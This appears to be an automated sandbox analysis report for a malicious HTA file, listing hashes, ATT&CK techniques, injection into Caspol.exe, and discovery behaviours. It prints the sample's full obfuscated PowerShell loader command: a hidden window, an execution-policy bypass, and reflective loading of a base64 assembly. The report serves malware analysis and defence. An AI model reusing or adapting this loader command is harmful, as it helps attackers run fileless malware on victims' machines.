5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0

General

Target
gdprocess.hta
Size 2KB
Sample260928-xayzza1dlf
SHA256 5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0
MD5 61e0e095d6d85bb9e34f23f911c0545d
SHA1 e8949bcccfa6c42ccc2f0673a06931f517ca8759
SHA512 a9bf135e8d79cb1e4124d0cc1efa66b3379f23a77efdc5d4ee1713a03693ee1e41b0a098fea19ab99dee36f7daf5620b96af3eda1ce1b9c39a793e8ff219ce25
TLSH
T152414B4352EE1108B1F71B8CA97362750BB7BE05693C899C14DC290D8FE3E5588A2BF7
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1484	940	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1752	mshta.exe
8	1484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1484	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1484 set thread context of 2248	1484	powershell.exe	92

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe
2248	Caspol.exe
2248	Caspol.exe
2248	Caspol.exe
2248	Caspol.exe
2248	Caspol.exe
2248	Caspol.exe
2248	Caspol.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1484 wrote to memory of 2248	1484	powershell.exe	92
PID 1484 wrote to memory of 2248	1484	powershell.exe	92
PID 1484 wrote to memory of 2248	1484	powershell.exe	92

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\gdprocess.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:1752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$meltable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dolabrate=[System.IO.MemoryStream][Convert]::FromBase64String($meltable);[System.Reflection.Assembly]::Load($dolabrate.ToArray())|Out-Null;[Win32.RMP.Cls_jbyAEZcyBu]::Met_jbyAEZcyBurG('87eRJFIiH7q87fzV4DM8QbshCC8GpXCBeW2pGGcI0njQpLRt840LMyOYJ28EArE4BpbGsNcHDKCU/wBsLkLe1w==','','p5dHR2Ttg/DYa7MVRimcNPkjO/tkenEiIZSCADYA+6JvwSF2k+ZAEQOGiCU/NXXe','5O7bFUhRc4PuMYhMbko4KT6Gij1CSIEqaZwqsfOx/AA=','x3Qz9SbeBm3b1f0S8qfjxEmGM+XueOY86lAzQ8U++zQ=','','gspqOZIIjG3iYlKrEqU9anPYMGycGFVJB5UeuSLFngA=','','yWAkvCqIKiQhAUtHl/jxUuwM4Rwwzs0pVGDt4hRFZxE=','btzqgv/J4dk5JO6nsOqCwpOHRn9Mq0oo1FEuXjM6a0Qhmdbc0jUZ7Z/K4bZ7rv93','u9rTfg+vapn9lb9hUyTApZUjnCT4xjQxgiyzX1fd3Es=','CTgrGLjMCweNwty43cbVrM4h6WVnMhNIvMSpXRhlm+0=','Pf8NCiNHJymtrUFsvg3o5dwP2Z4Ba5VmpEsuTKmKbyk=','','6Q19Y5f3li1GWQ73b98V6yv2CSdYDxmjzb1P1yYLBFY=','n4XggqGo4YXCV48lrDDWkh7wHUvSlQZspsRFAdgMUVI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1484
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2248